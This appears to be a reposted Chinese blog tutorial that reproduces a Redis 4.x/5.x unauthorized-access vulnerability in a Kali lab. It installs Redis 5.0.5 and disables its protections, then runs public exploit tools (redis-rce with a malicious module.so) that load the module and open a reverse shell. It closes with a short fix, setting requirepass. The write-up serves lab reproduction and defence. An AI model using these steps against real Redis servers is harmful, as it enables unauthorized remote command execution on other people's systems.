redis 4.x及以上的未授权访问

选择在kali中复现

选择了redis5.0.5版本

一.下载并安装:

$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz

$ tar xzf redis-5.0.5.tar.gz

$ cd redis-5.0.5

$ make

2.将redis-5.0.5.tar.gz里面的redis.conf文件中的“bind 127.0.0.1”这一行前面加注释符“#”;再将”protected-mode yes”改为no。

3.make完后 redis-2.8.17目录下会出现编译后的redis服务程序redis-server,还有用于测试的客户端程序redis-cli,两个程序位于安装目录 src 目录下:

下面启动redis服务.

$ cd src
$ ./redis-server

注意这种方式启动redis 使用的是默认配置。也可以通过启动参数告诉redis使用指定配置文件使用下面命令启动。

$ cd src
$ ./redis-server ../redis.conf

redis.conf 是一个默认的配置文件。我们可以根据需要使用自己的配置文件。

启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

$ cd src
$ ./redis-cli
redis> set foo bar OK redis> get foo "bar"



二 漏洞复现。

下载EXP:
git clone https://github.com/Ridter/redis-rce.git
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

编译module.so文件:

将编译完的module.so复制到redis-rce目录下,然后执行以下命令:

python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

 -r参数是指远程Redis IP地址; -L参数是指反弹到的服务器IP地址; 执行命令后,开启监听了本地的60720端口,并成功反弹回了shell。

 

 

修复建议

这是针对redis未授权访问的漏洞 这里直接redis.conf文件里面的  requirepass 参数取消注释   这里5.0是默认开启未授权访问的

 

转载于:https://www.cnblogs.com/kuaile1314/p/11314355.html

你可能感兴趣的:(redis 4.x及以上的未授权访问)